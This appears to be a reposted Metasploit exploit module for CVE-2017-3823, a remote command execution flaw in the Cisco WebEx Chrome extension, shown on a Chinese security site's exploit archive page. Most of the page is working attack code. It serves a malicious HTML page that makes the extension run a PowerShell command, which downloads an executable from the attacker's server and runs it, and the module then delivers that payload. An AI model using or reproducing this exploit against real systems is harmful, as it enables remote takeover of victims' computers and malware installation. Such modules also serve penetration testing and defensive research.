首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cisco WebEx Chrome Extension Remote Command Execution
来源:metasploit.com 作者:William 发布时间:2017-02-03  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)",
      'Description'    => %q{
        This module exploits a vulnerability present in the Cisco WebEx Chrome Extension
        version 1.0.1 which allows an attacker to execute arbitrary commands on a system.
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
        [
          'Tavis Ormandy <taviso@google.com>',                # Original research/PoC
          'William Webb <william_webb[at]rapid7.com>'         # Metasploit module
        ],
        'Platform'       => 'win',
        'DefaultOptions' =>
        {
          'SSL' => true,
        },
        'Targets'        =>
        [
          [ 'Cisco WebEx Extension 1.0.1',
            {
              'Platform' => 'win',
              'Arch'     => ARCH_X86,
            }
          ],
        ],
        'References'     =>
        [
          [ 'CVE', '2017-3823' ],
        ],
        'Arch'           => ARCH_X86,
        'DisclosureDate' => "Jan 21 2017",
        'DefaultTarget'  => 0
        ))
end

def setup
  @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
  @payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
  super
end

def exploit_html(cli, req_uri)
  base_uri = "#{get_resource.chomp('/')}"
  html = %Q~
<html>
<head>
<script>
var msg = {
    GpcProductRoot: "WebEx",
    GpcMovingInSubdir: "Wanta",
    GpcProductVersion: "T30_MC",
    GpcUnpackName: "atgpcdec",
    GpcExtName: "atgpcext",
    GpcUnpackVersion: "27, 17, 2016, 501",
    GpcExtVersion: "3015, 0, 2016, 1117",
    GpcUrlRoot: "http://127.0.0.1/",
    GpcComponentName: btoa("MSVCR100.DLL"),
    GpcSuppressInstallation: btoa("True"),
    GpcFullPage: "True",
    GpcInitCall: btoa("_wsystem(Ex1);"),
    Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"),
}

function runcode()
{
    document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
    document.dispatchEvent(new CustomEvent("message", { detail: {
            message: JSON.stringify(msg),
            message_type: "launch_meeting",
            timestamp: (new Date()).toUTCString(),
            token: "token"
        }
    }));
}
</script>
</head>
<body onload="runcode()">

</body>
</html>
  ~

  send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end

def on_request_uri(cli, request)
  print_status("Got request: #{request.uri}")
  print_status("From: #{request.headers['User-Agent']}")

  if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
    print_status("Sending exploit html ...")
    exploit_html(cli, request.uri)
    close_client(cli)
    return
  elsif request.uri =~ /.*#{@payload_uri}$/
    return if ((payload = regenerate_payload(cli)) == nil)
    print_status("Sending payload ...")
    send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
  else
    base_uri = "#{get_resource.chomp('/')}"
    html = %Q~
    <html>
    <head>
    <meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />"
    </head>
    <body>
    </body>
    </html>
    ~
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
    close_client(cli)
  end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TrueOnline / ZyXEL P660HN-T v2
·CUPS < 2.0.3 - Remote Command
·TrueOnline / Billion 5200W-T R
·Netwave IP Camera - Password D
·TrueOnline / ZyXEL P660HN-T v1
·Debian 9 ntfs-3g - Privilege E
·WordPress 4.7.0/4.7.1 - Unauth
·IVPN Client 2.6.1 - Privilege
·WordPress 4.7.0/4.7.1 - Unauth
·OpenBSD HTTPd < 6.0 - Memory E
·Microsoft Windows 10 - SMBv3 T
·Zookeeper 3.5.2 - Denial of Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved